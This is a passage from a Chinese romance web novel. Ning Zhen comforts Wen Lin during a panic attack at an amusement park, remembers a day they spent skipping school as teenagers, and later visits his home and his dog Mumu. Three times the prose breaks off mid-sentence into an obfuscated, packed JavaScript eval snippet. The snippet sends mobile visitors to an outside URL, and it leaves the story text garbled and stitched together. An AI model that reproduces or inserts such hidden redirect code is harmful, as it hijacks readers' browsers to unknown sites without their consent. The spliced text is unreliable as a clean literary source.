“为什么不早点告诉我呢。” 宁蓁低头注视着相机屏幕里的他,距离不过十厘米。 “刚见面我就提醒你了。” 结果她一直想不起来,他似乎有点怨念。 “有吗?” 她依然向后浏览相册,偶尔删掉几张废片。 “有啊,你自己想。” 怎么突然闹别扭。 宁蓁手指停了两秒,推着记忆朦朦胧胧倒退。 ——“你呢,专业是中文系?” 细雨的夜,再次重逢的时候。 ——“高中……学校里是不是有一座湖,湖里面还有鹅。” 福缘寺香火旺盛,而她困倦到意识飘忽的时候。 确实提醒过。 她越想按得越快。屏幕里,色调变成鲜活疏朗的绿,晃得眼前一亮。中间是空白的,日期直接跳跃到他们初次观鸟那天。小鸟的照片消失了,大概批量导进Lightroom,只剩下些纯粹的风景照。 还有,一副人像。 200MM的小长焦,正好隔着一条小溪拍到树荫里,她凝神仰望树梢的模样。 ——“暂时不能给你看!” 那时温霖也是一样快速翻页,到了这张骤然停下。 当初宁蓁太诚实,既然他表示不能看,她便真的不多留意一眼。 现在想想,像故意说了反话似的。 其实……你希望我看见? 她为这自我过剩的想法皱了皱眉,但忍不住胸口毛茸茸地发痒。 “早就想拿我们的信给你。”他说。 她终于放下单反。温霖松垮地倚着座位,额头抵在玻璃窗,枕塌了一片深黑的刘海。 “但刚好你在忙,有人捧着玫瑰送上门,我以为是你的男友。” 会送她玫瑰花束的只有莫昭。 他透过姨妈的消息找进鹭山,没几句话就拥过来,她毫无防备,浑身僵硬着,远远望见温霖把一沓纸质物扔回车里。 ——她的回信,每一封都保存完好。 宁蓁默然不语。 他已经给了暗示,怪她自己一一错过。 “我经常拿不准,”他嗓音融入鼓动的风声,放得很低,“当年是不是因为写了联络方式,你才……” 你才突然转校。 可能你讨厌我了。可能原本匿名的来信突然长出一张脸让你觉得恶心。 十五岁时,他眼里的世界太小,只能蜷在昏暗的卧室里抱住膝盖,一个劲儿抹眼泪。 纸面文字没有语气和表情。是他斟酌得还不够多?到底哪句话出了问题?少年拼命回忆着以前寄出的信,想揪出罪魁祸首。 ——“……所以你都不和我聊天。” 小雨淅沥,她站在 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所以刚才低落的语气不是闹别扭,或者二者兼有。温霖特意挑选周四,却没想到撞上高中组织学生春游。趁空中视野清晰,她下望着规划线路,注意力附在某个学生身上。 高中生,普遍互称为学姐学长吧。 宁蓁心存一丝侥幸:如果他早些开口喊“师姐”,她就能早点想起来了。 那最开始他叫她什么? “姐姐”。 好奇怪,她以为沐沐才会用这个称呼。 不知不觉舱门开启。上下车在一处,回廊已经挤满了嬉笑的学生。位置调转了,宁蓁先迈出去,转身拉住他的衣袖。 温霖垂着眼,被汹涌的人潮撞得氤氲。她顾不上总要揪住他上衣的习惯,牵得紧紧的,往计划的路线逃。 无数陌生面孔。 庞大的尖啸飞速迫近,灌入耳朵。 他在发热。 手腕传来温度,微弱地战栗。 “你闭眼。”她回头匆匆嘱咐。 但他没有,硬是撑到了目的地。 宁蓁找到一辆关闭的餐车,他们躲进车与墙壁的缝隙。 安静是一时的。症状还来不及缓解,温霖俯身,右手攥住胸口,扯得衣襟皱得凌乱不堪。 气息也乱了,被恐惧蹂躏,像急促的湍流一样忽起忽落。 “再这样你要过呼吸了。” 她一手捂住他双眼,另一只手伸进包里想翻出纸袋预防呼吸性碱中毒。睫毛急切眨动,抚弄着她掌心,带着空气里和他眼中的水汽。 找不到袋子,任何形状的都没有。 太近了,她瞥见他衣领上黏着一根卷曲的小狗茸毛。 抚慰犬不在。但为什么沐沐可以安抚他?恐慌发作的时候,什么东西能把他们拉回现实? 她想到绳子一下下在手中的牵引力。 五感之中,触觉最先起效。 声音杂乱,尤其多了心脏的喧嚣。不是他的,反而是自己的。宁蓁感觉心跳随着他胸口的起伏加速,快要和他的呼吸同频。 有小鸟。 鸟的翅膀在她胃里,扑通扑通地飞出来。 温霖浑身脱力,差点滑到地上,在那之前她近了半步,用双肩抵住他的重量。 “师姐,我能……” 喘息打在耳边,唇齿都在颤。 露出了尖尖的虎牙,嘴唇看起来很柔软。 无法控制。 “抱你吗……” 即便此时,宁蓁仍有一瞬晃神。 你的口型犹豫了,好像临时改了一个字。 但她正在融化。双唇的距离不过毫厘,就算是逾越的亲吻,她也会答应。 幸好相机坠向侧面,没有东西挡在两人中间。宁蓁放手环住他的背,流畅宽阔,平日里让人感觉安全,这一刻却脆得像纸。 怀里充实起来,飘浮的神智终于找到落点。 得到师姐允许,他举起摇摇欲坠的右手,指尖颤抖着、试探着触碰,反握住她的肩。 他身上好热,是瑟瑟发抖的大型犬,随着体温升高翻起新鲜的青草味儿。 温霖低下头,渴求她。高挑的身体呈出前倾的弧度,宁蓁被揽进去,轻轻摩挲他后背,从上到下。 “没事了。” 还想说些安慰的话,脑海中却流淌出蒙昧的记忆。 “姐姐”。 蓝色校服。低沉的,有点别扭的嗓音。 游乐园的欢声笑语全部游离在外。 她想起,他确实这么叫过。 41. 口是心非 早高峰。 公交车里飘着汽油味,上学的和上班的挤进同一辆,要么胳膊去够头顶的吊环,要么死死抠住栏杆。 温霖昏昏欲睡,膝盖抵住座椅下的高台,扶紧靠背。 广播响起:“芙蕖路到了,请在后门下车——” 车身喷出一股气流,前后门齐开。 “不下的让让!” “别挤了,这儿有学生!” 乘客们一边嚷嚷一边推搡。他打了个哈欠,眼角模模糊糊渗出泪水,视线懒散地扫过前门。 沉闷的黑白灰里,一抹深蓝色散发着静谧的光。 北城二中校服。 师姐? 他用力揉了揉眼,甚至揉掉一根睫毛。 宁蓁的白发圈松了些,高马尾孤零零摇晃着。吊环和不锈钢栏杆上没留下一丝间隙,她安静,不善争抢,抬着头不知所措。 背后,书包和他的撞到一起。 “哎哟,到站了,赶紧下!” 面前两个乘客艰难挪动身子,努力扒拉着岿然不动的人墙。 “师傅!先别关门!” 短短十数秒内,引擎泄出的轰鸣冲刷着大脑。眼看座位空了出来,温霖迟疑一瞬,立即旋身伸手—— “这边有空位。” 他拽住她的袖口一拉,匆匆提醒。 还有七站到校,时间还早;书包挡着中间的路,不便于通行。温霖找了各种借口解释自己的私心,然后松开手,迈进座位,分出一缕余光去心不在焉地观望着。 对她来说,他是完全陌生的人。 “嗯?” 她发出小小的疑惑,反应了一秒,褪下包,放在旁边的座椅上。 扑通扑通。 扑通扑通。 他淹没在自己的心跳里。 * 自行车临时掉了链子。 晨间六点四十五,宁蓁隔着面巾纸捏起链条,往齿盘里塞,三分钟后,她放弃了,赶紧丢掉纸巾跑向车站。 平时几乎不坐公交,拿不准时间,幸好今天车掐着点儿来了。前门挤开,她看着里面黑压压的乘客,心生退却。 好可怕。 宁蓁被推了上去。“滴——学生卡”。空间太局促,堆满疲倦的脸,司机喊着中间的往里走走,人们却凝固着一动不动,呼吸都变得困难。 “别挤了,这儿有学生!” 肺压扁了。还有人站定后想掏出手机,狼狈地挣扎,手肘频频左右横摆。宁蓁干脆不再反抗,待在原地随波逐流,一张苍白的照片似的。 早高峰的交通是一条条沙丁鱼钻进罐头。 你们挤吧,她冷漠地想。 “这边有空位。” 突然有道声音。 她以为与自己无关,而那人像在交接暗号,轻轻拽了拽她的袖口。 “嗯?”宁蓁迟钝地疑惑。 身后,一个男生率先迈进座位。 原来他在好心提醒:背后空出了位置。 上学路偶遇同校生并不稀奇。如果不是穿着相同颜色的校服,她不可能这么快反应过来。 两个空位。 他让我坐? 宁蓁试探性撂了书包,又回头望了望,确定附近没有他的同伴。 “……谢谢。”她犹犹豫豫。 座椅刚好卡在公交车的左前轮上,地板升起一节,需要屈腿才能坐下。那名男生抱着膝盖,半张脸埋进手臂,似乎很不情愿地点了点头。 车子驶出公交站,周围的一切震动起来。 窗外有清晨未醒的树,油绿发亮。他坠着眼,额前短发晃着,比平常的黑色更深,衬得皮肤白皙,耳垂泛了红。 宁蓁沉默地打量,看见对方校服上的星星图案。 是初中生啊。 不知道为什么,她感到一丝惋惜。 昨天推理小说读到深夜,故事发展到高中生们未竟的告白。以前在这方面没有一点儿心思,现在才发觉,途径学校的公交车本该是青春浪漫的场所。 邻座男生一言不发。 他才十四岁吧,或者十五,还是个小孩子。 睡眠不足七小时,脑袋晕乎乎的,开始犯困。 宁蓁不知不觉数起了他的睫毛,浓密,长长的,能遮挡风沙。一根、两根、三根……数着数着它们恍惚变成白色,盈满了雪花,瀑布一样倾泻而下。 意识渐渐不切实际,她困得合了眼,睡梦浅浅枕着颠簸的车轮。 “刚上车的乘客请往里走,前方到站是,北城二中——” 高处传来铿锵有力的广播。乘客们彬彬有礼,自动让出一条路。门开得急,她差点没赶上,想扭头叫上左侧的少年,他却已不见人影。 快迟到了。 她来不及管,朝学校大门狂奔。校园广阔,被雾气笼罩,仿佛没有尽头,幸好她跑得快,恰巧在七点三十分踩进教室。 像给予抵达的奖赏,黑板右上方的音箱亮起一道美妙旋律: “叮叮叮咚。刚上车的乘客请往里走,站稳扶好,无卡乘客请投币——” …… …… 宁蓁猛地睁开眼,广播正好续上:“下一站,终点站,夕照路北。” ……? 怎么还在车里? 她定睛看向前方的显示屏,澄黄的大字从右滚到左:TheNorthEntranceofXiZhaoStreet。 竟然,坐过站了…… 公交车驶上高架桥,一路开到城西,只剩下寥寥无几的乘客和清冷的喧嚣。 低头看表,时针越过八点钟,向九徘徊。 心里顿时凉了半截。 现在,她有点埋怨那个男生。位置狭窄,迈出去时难免蹭着腿,为什么不干脆叫醒她?视线盘桓到左边,酝酿着绝望的叹息,想朝空座位发泄一番。 对于乖乖女而言,上学迟到已经是天大的事。 “你……” 结果,意料之外。 旁边化开沉静的蓝,与白色交织。少年倒向玻璃窗,怀中抱紧书包,下巴抵着,才堪堪掀开朦胧的眼。 秋季,窗外天空清明高远。 “啊,”他迷迷糊糊呢喃,“终点站。” 所以谁都没能叫醒对方。 “……”宁蓁抿唇,把叹气声闷在心里。 几十秒后,少年幽幽望过来:“坐过站了。” 这不是明摆着的?她欲哭无泪。 公交进站,乘客陆续下车,两人夹在学龄前小孩、老人和悠闲的大学生中间,身上的校服显得格格不入。两扇门都开着,她特意绕远走到后门,免得司机问起来。 终点亦是换乘点,走到对面就有返程的车。 他们前后拉开了距离,毕竟萍水相逢,又隔着两个年级,自然无话可讲。宁蓁默认对方也要去对面,没想到他一转弯,信步走向路边的报刊亭。 她不明所以,提了些音量问:“你去哪里?” 少年回了头:“请假。” 亭子逐年移除了公共电话服务。他递去一张五元纸币,向摊主借了手机,慵懒地举到耳边。 “都迟到一个小时了,要扣分。” “……” 他打算逃课? 她拧起眉毛,想说的话却噎了回去。最近年级在评选文明班级,她迟到那么久,肯定拖了后腿,到时候免不了写份检讨,当着全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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看来他暂时不打算离开。她感觉自己被勾住了,像毛衣剐上教室后门那排挂钩,开了线。唯一的收获是这件事能写进信里,和文学社笔友分享。 “……学姐,你喜欢推理小说吗。”他纤长的睫毛垂着,语气很冷。 “就,一般。”她口是心非。 书页翻过,但他还没看到最后一行。“是么。” 没必要透露喜好,他们只是因为身上同色的校服才临时结成同伴,她也不想告诉悦悦——被迫逃课,和初中生流浪在外,实在算不上光彩。 十一点,少年说饿了。中学生难得逃离食堂,午餐当然要吃麦当劳。炸薯条的香气扑面而来,她平时一直刷饭卡,只带了十五块钱,买不起最爱的麦香鱼套餐。 他话不多,似乎懒得搭理别人,这时却说:“我去点餐,请你。” “不用了。” “今天甜筒第二个半价。” 他们坐在吧台位,两人中间空了个位置,放着书包。宁蓁脚下一蹬,圆凳吱吱地旋了四十五度。 少年偏睨的余光匆忙收回。 “那我要麦香鱼套餐。” “知道了。”他起身。 她忽然生出玩兴,直直盯着他的侧脸:“请客的意思是,我真的不会还钱喔。” 他怔了一秒,低头抛下一句:“又没要你还。” 真少见,她想,是个大方的不良少年,而且说话带着三分别扭,耳朵也总是红红的。 42. 生长痛 餐盘里满满当当,汉堡薯条鸡块,还有一杯可乐和一盒牛奶。 套餐默认可乐,她没改,所以牛奶是他的。 “纯牛奶配双吉啊。” 双倍奶制品,听着不太清爽。 “……我喜欢。”少年放下餐盘,不偏不倚推到二人正中间。 “喜欢这么搭配,还是喜欢牛奶?” 那男孩似乎撇了撇嘴,恹恹地说:“牛奶。” ……是反话吧。 没准家长逼着他喝。 宁蓁轻轻笑了一下,不过比起执拗,他们旗鼓相当。 “等等。” 他正要取走自己的堡,却被她威言喝止。 “去洗手。” 碰过钱之后不能接触食物,哪怕隔着包装。他无可反驳,只好乖乖照做。她旋转凳子看着那道背影,心中萌生出一丝既视感。 也许在学校里打过照面。 她记不住太多脸,尤其是男生的脸,比辨识黄眉柳莺和黄腰柳莺还难。有的男孩总在她眼前晃来晃去,但他们经常朝空气投篮,而且是三分球,每当那时她就匆匆看向别处。 食物热腾腾的,夹着番茄酱的甜酸。他吃得不快,好像遵循着某种严格的秩序,最后才喝掉那盒纯牛奶。 宁蓁仍惦记着英语短语,想待会儿该回去补补今天的作业。饭后,她顺手翻了书包,各科笔记本封面光滑,整整齐齐码好,只有数学的莫名撕破了一角。 她皱起眉,一阵难受。 “我要去趟文具店。” 少年应声,收拾着桌面,随后起身倒了餐盘,回来时一手一个原味冰淇淋。 甜筒垫了餐巾纸,初中生的纤细指尖握在上面。宁蓁多盯了几秒,因为要琢磨如何避免不必要的接触。 “……” 他看着学姐伸出手,睫毛微微颤动。 结果是无谓的。她接下甜筒冰淇淋,不小心擦过彼此,像前后桌传递掉落的橡皮一样在所难免。 附近没有文具店,他们准备横穿天桥探索另一座大楼,少年像消磨时间似的,走得越来越慢,背后拖了一道影子。 宁蓁在三层找到心仪的店,浏览各种牛皮纸笔记本。 还买一样的么,她纠结着。他在旁边试笔,随手写写画画。工作日下午客流稀少,两名店员扎堆闲聊,话音隔着货架飘来。 “哪个学校,这么早就放学啦。” “哎哟,这是小情侣逃课出来约会喽。” 八卦猝不及防砸到二人头上。 宁蓁倒吸一口气,余光往左边挪,他倒淡然,垂着头继续转动手腕,权当做耳旁风。她没看见他手里那根针管式的碳素笔戳破了白纸。 她抿唇,清了清嗓,用只有两人能听见的音量叮嘱: “不行,你要叫我‘姐姐’。” “嗯?”他不情不愿发出疑问。 “我们是姐弟关系,对吧,堂姐表姐都行。” ——总之不是情侣。 “哦……” 窃窃私语,澄清给谁听?可能是老天吧。无论如何,宁蓁不愿被误会和初中生是一对。他还太小,这种故事传回到学校里,他们都要被人笑话。 不知道对方有没有听懂。她想快快离开,说完便走向柜台,把挑好的本子放在收银机旁,打开钱包。 这时,牛皮纸封面上又突然压了根碳素笔。 “帮我结账,姐姐。” 语气既非命令,又非央求,只是冰冷生硬。 两样东西加起来刚好十五块,他算过了。 “一块儿结啊。”店员熟练地装袋。 “对,一起。” “谢谢姐姐。” 宁蓁付了钱,内心哭笑不得。她打算利用姐弟的说法划清界线,没想到他那么较真,非要给她演出来,搞得人尽皆知。 记忆中不乏那种生性倔强的小孩。有时候家长气急了,下达警告:“再偷偷玩游戏就把你关起来,让你玩个够!” 这种威胁不起作用。他们真的能照做,哪怕咬住牙红着眼睛。 “该回家了吧。”宁蓁说。 店外,少年不再讲话,直勾勾望向角落的游戏厅。最外面摆着一排娃娃机,里面堆满圆滚滚的玩偶。 “哆啦A梦。”他低声自言自语。 初中正是爱看哆啦A梦的年纪……吗?巧合的是,文学社笔友也在第一封信里提起过圆头圆手的蓝胖子。那些信件总是带着一丝柑橘味的香气,笔迹清逸,赏心悦目。 她忽然心软了。 “去玩吧。” “那你呢。”他淡淡地问。 “我可以等你一会儿。” 就一会儿,她想。 话已出口,自然不可能置身事外。他换完游戏币,没和她商量,就将沉甸甸的一摞放进她手心。她不曾想过有一天自己会逃课,与不良少年厮混在游戏厅,也没想到他迄今为止没有露出过笑容—— 抓夹带着哆啦A梦甩进洞口那一刻,他也仅仅是攥紧了摇杆,目光跟随着奖品。 看来他一直不开心啊。 但是为什么要在乎陌生人脸上的表情?那恐怕太逾越了。 走出商场时已经接近傍晚。夕阳涂涂抹抹染了半边天际,夜幕托着云翳,一并混融为轻柔的粉。 回到公交车站的路上经过一个下沉广场。宁蓁仰颈观望,想寻觅天际的色块,找到它的边界。天是粉紫色,那么梦幻。她有种错觉,时间被天空包裹,变得缓慢,每下一级台阶就离现实遥远一些。 等走到底,余光里没了少年的身影。 她才发现他消失了,和早上做的梦一样。 再回头,视线重新沿着阶梯一层层攀上去。初中生独自站在台阶起始处,不愿意下楼,好像正一个人生着闷气。 又怎么了? 宁蓁丧失了一部分耐心。刚才一言不发,现在又钉在原地,玩闹也该结束了吧,你还想去哪儿?为什么就不肯乖乖下来…… 他背对夕阳的方向,深黑短发融入暮色。 她等着,目光抛向远处,道路宽阔,车辆川流不息。漫长的阶梯横亘在两人之间,僵持在那里。分秒点滴流逝,猛然间,她意识到为什么那名少年让她觉得熟悉。 他是一块固执的石头。像小宇,更像自己。 她深深叹气,迈上去,原路返回。 ——“为什么……” ——“对不起。” 他们同时开口。还差五六级台阶,初中生仍站在高处,她不得不予以仰视。 “对不起。” 他又低头说了一遍,怕学姐听不清。校服拉链掉到一半,露出里面纯黑的短袖,他身上有很多深沉的黑色,包括长度超出校规的短发。 “为什么?” 他们似乎没准备好,各自重复着既定的台词。 少年犹豫片刻:“……我不能走楼梯,膝盖很痛。” “你受伤了?” “没有。” “……生病吗?”她变得谨慎。 “不是。” “那……” 宁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071769|163236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蓁思索着答案,以前她经历过类似的疼痛,最严重时也下不了台阶,不过那已经是小学五六年级的事了。 她推测道:“生长痛?” 他说:“应该吧。” 在学不会坦率的十五岁,“应该”的意思等同于“是”。 她有过一瞬怀疑。他们今天没少上下楼梯,只是不像下沉广场这么长,难道他先前一直都在默默忍耐。 这么想来,该道歉的是她才对。 为什么不直接告诉我……? 宁蓁慢慢走上去,弥补最后几阶距离,回到他身边。 “十几岁还在经历生长痛啊,”她委婉表达着安慰,“辛苦了。” 一整天,少年都一副满不在乎的模样。不在乎缺席的课,不在乎请她吃饭,不在乎娃娃机的胜利。确实,他真的太辛苦了,此刻尽力隐瞒的东西终于要溢出来,再也藏不住。 “幸好我还会痛。” 晚风拂面,干燥而凉爽,吹得夕阳落下来映在他脸上。 她不可思议:“你竟然喜欢痛。” “谁喜欢啊,”他别开视线,话音变得有点含糊,“因为我想长高。” 那时,宁蓁什么都不知道。 不知道少年的名字,不知道他是舞蹈生,不知道他脑海中难以抹去的一幕是继父带来的哥哥在篮球场边对她表示关心。那个人身形高大,肩膀完完全全覆盖住她,他好不甘心,忍不住置换现实,想象那道身影是他自己。 如果再长高一些就好了。 再高一些,就可以…… 心脏猛烈得快要冲破胸口,那句话对他而言已经是隐晦的告白。师姐不可能听懂的,他觉得委屈,又心惊胆战,害怕被她彻底看清。 如今一级台阶也不差。明明这么近了,可是我到底怎么做才能真正靠近你呢。 他鼻尖酸涩,眼前渐渐模糊起来。 宁蓁察觉到少年的耳朵红透了。 她以为身高是他难以启齿的执念,虽然在她看来他根本不需要那么执着。青春期时刻都在蜕变,昨日压垮他们的东西,到了明天也许只是一缕轻烟。 “那今晚早点睡。” 话说得太亲昵,好像他们很熟似的。她立即改口道:“我的意思是,多睡觉才能长高。” 他眨眨眼,以极小的幅度点了点头。 宁蓁环顾四周,确定了线路。初中生仍然僵在那儿,她下意识揪住他的校服袖子,往反方向走。 “……绕远了。”一瞬间,他像只被牵紧的小狗。 “当然要绕远才能避开楼梯。”说完,她松了手。 云影沉没,夜幕悄然降临,燃烧在他侧脸的夕阳慢慢消退。路还很长,两人并肩前行,有一搭没一搭地聊着。 “你的头发不会被老师点名吗。” “她不管。” “特立独行啊。” “因为……” “因为什么?” “算了,没什么。” …… 秋风送他们回到公交车站。那天回程路上摇摇晃晃,她有点晕车,又闭了眼,任由窗外辉煌的街景飞速流逝。 直到下车他们都没有交换姓名,少年更没有主动提起这回事。半梦半醒间,她想,北城二中很大,和初中生一起流浪不算高中生眼里的“好事”…… 但是再在学校里遇见,我会和你主动挥手的。 当然前提是悦悦不在身边,同班同学也不在。 希望那时候你已经摆脱疼痛了。 下次,要记得我哦。 43. 小狗偷吃 寻找回忆的过程是一场深潜。浮出水面时,耳边重新响起游乐园的喧嚣。 “那个人是你吗。” 宁蓁还在他怀中,或者他还在宁蓁怀中,慢慢稳住战栗的气息。 “公交车……”她蹙眉,“我们错过学校那站。” 相似的画面与过往重叠。 第一次观鸟时穿越杏花树丛,他扶了宁蓁的手腕。她应该在那时就想起来的。一样的拥挤,一样寻找着出路。那名身穿蓝色校服的少年带她找到公交车的空位。所以她习惯捉住他的衣袖,所以离开房车后想说“多睡觉才能长高”,所以,原来他从小就学会忍受疼痛。 之前在寮房里暗自腹诽,以为温霖不是什么好人,刚一见面就喊“姐姐”。 对啊,是她要求的。 为了划清界限,为了澄清两句过路人的风言风语。 那日临别前她默默地想“要记住我”,讽刺的是,到头来她自己反而遗忘了这一切。 我好像,亏欠你太多了。 “对不起。”温霖一半的力度仍靠她支撑,声音近似耳语。 听到对方先开口,宁蓁有些恍惚。肩上反握的手稍稍松动,如果她想,可以轻而易举挣脱。 为什么。 因为恐慌症有所好转,还是预料到她即将推开他? “其实那天早上,”温霖目光黯淡,忏悔道,“我醒着。” …… 秋日清晨,窗外有宜人的街景。少年无心欣赏,缩在座位上,视线不时往右边飘。 她正在浅眠。 还有两站到学校。只剩两站。 他有义务叫醒她,没准能和师姐并肩走到校门口。可那样就够了么?他贪婪地想,假如他也睡着,这辆车会开向哪里。 公交车局促、颠簸,吵得像耳边的心跳。 来来往往都是上班族,没有人注意他们。少年默默叹息,倚在车窗。 想和你说话,应该用哪种语气?那时温霖太年轻,慌乱之中模仿起哥哥沉默内敛的样子。心脏快飞出来了,他低头拽住衣领,发现手臂竟然紧张得颤抖。 “北城二中站到了——” 他阖上了眼。 …… “你故意的。” 宁蓁隐隐约约猜到了。 他用沐沐的微信号添加好友,当时就给人留下有点心机的印象,但她并不觉得讨厌。 “对不起……” 歉意轻声扑到耳边。从始至终,他好像一直在道歉。 她双臂徐徐下滑,停在腰侧,他身体的热度透过薄薄的衣料传出来,令人浮想联翩。 “你是抱歉警探。” 宁蓁常常游离,如今思绪跑进电子游戏里:玩家扮演一时失忆的酒鬼警察,负责侦破杀人案并探究城市的秘密,如果对话中选择太多“sorry”,将得到“抱歉警探”的成就。 刺耳的尖叫声被风吹远。感觉话题也扯远了,解释起来相当麻烦。 “《极乐迪斯科》?在那里我是末日警探。” 一句没头没尾的话被他接住了。 生活中太久没经历过这种时刻——面对一个人,感叹“你竟然知道我在说什么”。 她怔了几秒,悄悄躲进他的呼吸。旋转的青草气味翻涌出来。 “没想到你也玩过。” “嗯……” 师姐没推开,温霖自然不会主动放手。怀里更满了,宁蓁偏转了头,侧脸枕在他没受伤的肩膀上。 右边,餐车玻璃倒映出两人朦胧的身影。 “师姐,”他嗓音有些模糊,“我还有事想告诉你。” “我在听。” “明天好不好?” 过山车又载来一阵喧闹声,狂风骤雨般降临。宁蓁想用左手重新攀上他的背,不小心碰到单反,老机器晃了几晃,沉沉砸中她的腿。 很疼,估计砸出一片淤青,但她没表现出来,只说了句好。 温霖胸口仍然起起伏伏,虚弱的喘息让人上瘾。宁蓁看向右侧玻璃,他如愿长高了,拥抱时要低身迁就她。 她喜欢那种略微前倾的弧度。 如果倒映的影子旋转九十度,放倒…… 太阳拨开云层,照亮游乐园中每一道缝隙,不知不觉,透明玻璃变得刺眼。 噌——! 脑海中擦过一簇尖锐噪音,像光线割裂玻璃。 她整个人霎时缩了一下,差点没站住,两只手匆匆攥住他宽松的卫衣。 “……师姐?” 即使自顾不暇,温霖也没有错过她的异样。 宁蓁恍惚中撑起笑容:“你是不是好点了。” 他收紧双臂,隐约流露出少年时的模样。 “还没呢。” * 天黑了,玻璃中的倒影剩自己一个。 宁蓁忘了他们怎么走出游乐园,只记得胃里有扑腾的小鸟的羽毛,来来回回摇曳。她站在家附近的街头发呆,身上残留着他的温度,皮肤下所有细胞都愈发敏感。 然后某一刻,脑中惊起危险的杂音。 她不知道为什么会这样。因为他看起来蓄谋已久,还是因为他在网上有十几万粉丝? “啾啾啾——” 炒货铺生意兴隆,低矮的屋顶上落下鸟鸣。 八点了,鸟还不睡觉。她循声看见一只白头鹎,和一双射出精光的圆眼。 是猫。 它踩着无声的步伐抬起利爪,小鸟却浑然不觉。 快跑!快飞起来! 宁蓁抽出鸟哨,哨音凄厉,惊得白头鹎扇动翅膀。猎物飞了,一切发生得太快,橘色野猫的爪子停在半空,傻傻的不知道怎么回事。 “刚才什么声音啊?” “猫叫吧。” 铺子的顾客提着红薯干面面相觑。老板吆喝着:“您这个二十一块六啊。” 她和那只野猫对望一眼,它喵了一声,转身逃了。 * 夜里,宁蓁梦见在小树林里和猫打架。第二天,微信跳出新消息,让人会心一笑。 沐沐.:「我去接你喔姐姐」 沐沐.:「(发射爱心贴图)」 有阵子没见沐沐了,她往帆布包里装好礼物。 「不用,你在家等我」 老旧小区狭窄,花坛是必经之路。盛放的杜鹃花还没凋零,春深了,夏日迟迟未至,天空澄净得像高远的秋季,像很久以前在外流浪的那天。 温霖提前发来地址。她特意搭公交车去,找到小区、单元和电梯。他现在的住址一梯一户,按对楼层就不用担心认错。 轿厢上升,微弱的失重感。 门外,一条天使边牧正准备迎接客人。 “汪呜!” 小狗要散发热情,一刻也不能等。宁蓁的消毒纸巾被玩具压着,暂时摸不了它的脑袋。 沐沐扑了几下她的小腿,甩甩身子,扭头走到门前立起来,靠惯性拨动金属的把手。 咔哒。门没锁。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071770|163236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你能开门…… 真是技多不压身啊。默默感慨的时候,温霖朝她打了招呼。 “嗨,师姐。” ——下次见面我会挥手的。宁蓁想起曾经的决心,但其实每次都是他主动。 他的名字仍在嘴边说不出口,现在连默念都有点难。她不知道该用什么称呼,回了个浅笑。他家里宽敞明净,也许收拾过,没有漫天飞舞的狗毛。卫生间干湿分离,储物架里摆着一个杯子,一支牙刷。 宁蓁挽起袖子,拧开水龙头。 温霖和沐沐在门口看着。师姐的七步洗手法过于标准,简直要洗到蜕皮。 “可以了。”他关了水,递上纸巾。 “谢谢。” 她经常痴迷于清洁双手停不下来。他们走到客厅,布艺沙发看起来柔软舒适,茶几边角做成圆的,防止小狗碰伤。窗边属于沐沐,有狗窝、食碗和一个宠物按钮。 温霖让她随便坐,说午饭快好了。但宁蓁站着,拉开帆布包拿出两件衣服。 “我想换一下。” 他微微侧了头,没听懂。 “外面的衣服不能坐在家里的沙发上,”她说,“我带了家居服。” “虽然我不介意,”温霖指了指邻近的卧室,“去房间里换吧。” 他没有怪她小题大做。房型至少两室一厅,另一间找不到在哪。宁蓁走进卧室关上门,环顾四周,家具以浅色为主,富有生活气息,中间一张平整的双人床,一个枕头,墙角还有沐沐私藏的哆啦A梦玩偶。 是他的房间吗。 她发现自己下意识在房子里寻找着更多人的生活痕迹,不过目前暂时失败。 换了家居服,终于不再束手束脚。客厅飘着食物的香味,沐沐在等待午饭,兴奋得晃来晃去。她拎出礼物,一只奇形怪状的啃咬玩具,里面是结实的绳结。 小狗看见了,啪嗒啪嗒走过来,叼在嘴里。 宁蓁顺势挠挠它的头,得到舒服的嘤嘤声。 “我也去换件衣服,帮我看好别让它偷吃东西!” 厨房门被拉开,温霖从眼前走过,进了同一间卧室。 她摸了摸沐沐的背,小声感慨:“原来天使小狗也偷吃啊。” 它好像听懂了,忽然离开她的腿——还不忘叼着玩具。 宁蓁想到第一次他交付牵引绳的场景,它也是这样一会儿听话,一会儿瞻前顾后摇起尾巴。 人类无法轻易了解小狗的思维。她站起来,提防沐沐奔进厨房,但它出乎意料选择了反方向,咚咚地冲向刚才那间卧室,后腿一蹬,跃成一条弯弧,够到光滑的金属物件。 咔哒。 门又开了。 恰巧,宁蓁在看得见的位置。 新衣服在床上摊开。温霖刚刚脱掉上衣,裸着背,身侧的线条到了腰间收窄。 房间内光线明晰,毫无保留。昨天,那具身体紧紧靠过来,要她支撑。 “……” 他一瞬间有点慌,回身撞上沐沐,无奈地笑了笑。 宁蓁一时来不及收回视线,看着他摸向床边留下褶皱,看着T恤利落套进去,领口压得头发变毛躁,看着因手臂举起而舒展的腰线,看着他轻轻一拽,衣摆滑下去,遮住腹肌。 